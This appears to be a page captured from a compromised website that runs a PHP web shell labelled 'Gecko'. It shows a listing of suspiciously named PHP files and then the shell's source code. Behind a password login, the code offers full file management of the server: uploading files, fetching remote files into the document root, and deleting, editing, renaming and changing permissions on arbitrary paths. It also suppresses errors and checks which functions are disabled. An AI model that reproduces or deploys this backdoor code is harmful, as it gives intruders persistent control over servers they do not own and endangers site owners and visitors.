Gecko [ voncairobella.com ]

Name	Size	Permission	Date
IVDGA1j8Ss2.php	28.35 KB	-rw-r--r--	2025-12-02 06:52
XzVQMJfSE6F.php	51.75 KB	-rw-r--r--	2025-12-02 06:52
admin.php	32.17 KB	-rw-r--r--	2026-01-06 02:20
desxgoua.php	0 B	-rw-r--r--	2025-12-15 20:12
index.php	8.73 KB	-rw-r--r--	2026-01-15 03:47
php.ini	105 B	-rw-r--r--	2025-12-02 06:52
theme-inssgpu.php	338 B	-rw-r--r--	2025-12-02 06:52
tykkwokt.php	0 B	-rw-r--r--	2025-12-13 20:15
vbybpxib.php	0 B	-rw-r--r--	2025-12-12 19:24
xlWMDfYmrLA.php	43.97 KB	-rw-r--r--	2025-12-02 06:52
zeXgDPO4hc6.php	166.77 KB	-rw-r--r--	2025-12-02 06:52
zuzwekur.php	0 B	-rw-r--r--	2025-12-12 21:26

Rename

<?php
// ============================================
// SECURITY CONFIGURATION
// ============================================
@error_reporting(0);
@ini_set('display_errors', 0);

// Start session
if (session_status() === PHP_SESSION_NONE) {
    @session_start();
}

// Security initialization
if (!isset($_SESSION['initiated'])) {
    @session_regenerate_id(true);
    $_SESSION['initiated'] = true;
}

// Password Configuration - Change this hash!
// Generate new: php -r "echo password_hash('YOUR_PASSWORD', PASSWORD_BCRYPT);"
$PASSWORD_HASH = '$2y$12$/7LNqqdHQNNAuL.9mDY2OOwKCLVMk7jhOgcvFos62pJLOhqxH1K8q'; // Default: password

// Rate limiting
$MAX_ATTEMPTS = 5;
$LOCKOUT_TIME = 300;

// Initialize attempt tracking
if (!isset($_SESSION['login_attempts'])) {
    $_SESSION['login_attempts'] = 0;
    $_SESSION['lockout_until'] = 0;
}

// Check lockout
if (isset($_SESSION['lockout_until']) && time() < $_SESSION['lockout_until']) {
    $remaining = $_SESSION['lockout_until'] - time();
    die("<div style='font-family: monospace; background: #0d1117; color: #f85149; padding: 50px; text-align: center;'>
        <h2>🔒 Account Locked</h2>
        <p>Too many failed attempts. Please wait $remaining seconds.</p>
    </div>");
}

// Check authentication
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    if (isset($_POST['password'])) {
        if (time() < $_SESSION['lockout_until']) {
            $remaining = $_SESSION['lockout_until'] - time();
            $login_error = "Account locked. Try again in $remaining seconds.";
        } else {
            if (password_verify($_POST['password'], $PASSWORD_HASH)) {
                $_SESSION['authenticated'] = true;
                $_SESSION['login_attempts'] = 0;
                $_SESSION['lockout_until'] = 0;
                @session_regenerate_id(true);
                header("Location: " . $_SERVER['PHP_SELF']);
                exit;
            } else {
                $_SESSION['login_attempts']++;
                if ($_SESSION['login_attempts'] >= $MAX_ATTEMPTS) {
                    $_SESSION['lockout_until'] = time() + $LOCKOUT_TIME;
                    $login_error = "Too many failed attempts. Account locked for " . ($LOCKOUT_TIME / 60) . " minutes.";
                } else {
                    $remaining = $MAX_ATTEMPTS - $_SESSION['login_attempts'];
                    $login_error = "Invalid password. $remaining attempts remaining.";
                }
            }
        }
    }
    
    // Show login form
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>🔐 Unknown - Login</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: monospace;
            background: #0d1117;
            color: #c9d1d9;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }
        .login-box {
            background: #161b22;
            border: 1px solid #30363d;
            border-radius: 6px;
            padding: 30px;
            width: 90%;
            max-width: 350px;
        }
        h2 {
            color: #58a6ff;
            margin-bottom: 20px;
            text-align: center;
        }
        input[type="password"] {
            width: 100%;
            padding: 10px;
            margin: 10px 0;
            background: #0d1117;
            border: 1px solid #30363d;
            border-radius: 4px;
            color: #c9d1d9;
            font-family: monospace;
        }
        button {
            width: 100%;
            padding: 10px;
            background: #238636;
            color: white;
            border: none;
            border-radius: 4px;
            font-family: monospace;
            cursor: pointer;
        }
        .error {
            color: #f85149;
            background: rgba(248, 81, 73, 0.1);
            padding: 8px;
            border-radius: 4px;
            margin: 10px 0;
            font-size: 13px;
        }
    </style>
    </head>
    <body>
        <div class="login-box">
            <h2>Unknown - Login</h2>
            <?php if (isset($login_error)): ?>
                <div class="error"><?php echo htmlspecialchars($login_error); ?></div>
            <?php endif; ?>
            <form method="post">
                <input type="password" name="password" placeholder="Enter password" required autofocus>
                <button type="submit">Login</button>
            </form>
            <div style="margin-top: 15px; font-size: 12px; color: #7d8590; text-align: center;">
                Attempts: <?php echo $_SESSION['login_attempts'] ?? 0; ?>/<?php echo $MAX_ATTEMPTS; ?>
            </div>
        </div>
    </body>
    </html>
    <?php
    exit;
}

// ============================================
// MAIN HEX FILE MANAGER
// ============================================

// Verify authentication
if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header("Location: " . $_SERVER['PHP_SELF']);
    exit;
}

// Continue with HEX functionality
set_time_limit(0);

// Helper functions
function hex_green($text) {
    return "<div style='background: rgba(35, 134, 54, 0.1); color: #56d364; padding: 8px; border-radius: 4px; border-left: 3px solid #238636; margin: 8px 0; font-size: 12px;'>✓ " . htmlspecialchars($text) . "</div>";
}

function hex_red($text) {
    return "<div style='background: rgba(218, 54, 51, 0.1); color: #f85149; padding: 8px; border-radius: 4px; border-left: 3px solid #da3633; margin: 8px 0; font-size: 12px;'>✗ " . htmlspecialchars($text) . "</div>";
}

// Get current path
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokasi = str_replace('..', '', $lokasi);
    $lokasi = str_replace('\\', '/', $lokasi);
} else {
    $lokasi = getcwd();
}

if (!is_dir($lokasi) || !is_readable($lokasi)) {
    $lokasi = getcwd();
}

// Process uploads and actions
$message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Handle file upload
    if (isset($_POST['upwkwk'])) {
        if (isset($_POST['berkasnya']) && isset($_FILES['berkas']) && $_FILES['berkas']['error'] === 0) {
            $target_dir = ($_POST['dirnya'] == "2") ? $_SERVER['DOCUMENT_ROOT'] : $lokasi;
            $filename = basename($_FILES['berkas']['name']);
            $target_file = $target_dir . '/' . $filename;
            
            if (@move_uploaded_file($_FILES['berkas']['tmp_name'], $target_file)) {
                $message = hex_green("File uploaded successfully to: " . $target_file);
            } else {
                $message = hex_red("Upload failed. Target: " . $target_file);
                if (!is_writable($target_dir)) {
                    $message .= hex_red("Directory is not writable: " . $target_dir);
                }
            }
        } 
        // Handle remote file fetch
        elseif (isset($_POST['linknya']) && !empty($_POST['darilink']) && !empty($_POST['namalink'])) {
            $target_dir = ($_POST['dirnya'] == "2") ? $_SERVER['DOCUMENT_ROOT'] : $lokasi;
            $filename = basename($_POST['namalink']);
            $target_file = $target_dir . '/' . $filename;
            
            $content = @file_get_contents($_POST['darilink']);
            if ($content !== false && @file_put_contents($target_file, $content)) {
                $message = hex_green("File fetched successfully to: " . $target_file);
            } else {
                $message = hex_red("Fetch failed. URL: " . htmlspecialchars($_POST['darilink']));
            }
        }
    }
    
    // Handle file actions (delete, chmod, rename, edit)
    if (isset($_GET['action']) && isset($_POST['path'])) {
        $path = $_POST['path'];
        switch ($_GET['action']) {
            case 'delete':
                if (is_dir($path)) {
                    hex_xrmdir($path) ? $message = hex_green("Directory deleted: " . $path) : $message = hex_red("Delete failed: " . $path);
                } elseif (is_file($path)) {
                    @unlink($path) ? $message = hex_green("File deleted: " . $path) : $message = hex_red("Delete failed: " . $path);
                }
                break;
            case 'chmod':
                if (isset($_POST['perm'])) {
                    @chmod($path, octdec($_POST['perm'])) ? $message = hex_green("Permissions changed: " . $path . " to " . $_POST['perm']) : $message = hex_red("Chmod failed: " . $path);
                }
                break;
            case 'rename':
                if (isset($_POST['newname'])) {
                    $newpath = dirname($path) . '/' . $_POST['newname'];
                    @rename($path, $newpath) ? $message = hex_green("Renamed: " . $path . " → " . $newpath) : $message = hex_red("Rename failed: " . $path);
                }
                break;
            case 'edit':
                if (isset($_POST['content'])) {
                    @file_put_contents($path, $_POST['content']) ? $message = hex_green("File saved: " . $path) : $message = hex_red("Save failed: " . $path);
                }
                break;
        }
    }
}

// Scan directory
$items = @scandir($lokasi);
if (!$items) {
    $items = [];
    $message = hex_red("Cannot read directory: " . $lokasi);
}

// System info
$disfunc = @ini_get("disable_functions");
$disf = empty($disfunc) ? "<span style='color:#56d364'>NONE</span>" : "<span style='color:#f85149'>" . htmlspecialchars($disfunc) . "</span>";

// Check write permissions
function hex_cekdir($path) {
    return is_writable($path) ? "<span style='color:#56d364'>writable</span>" : "<span style='color:#f85149'>readonly</span>";
}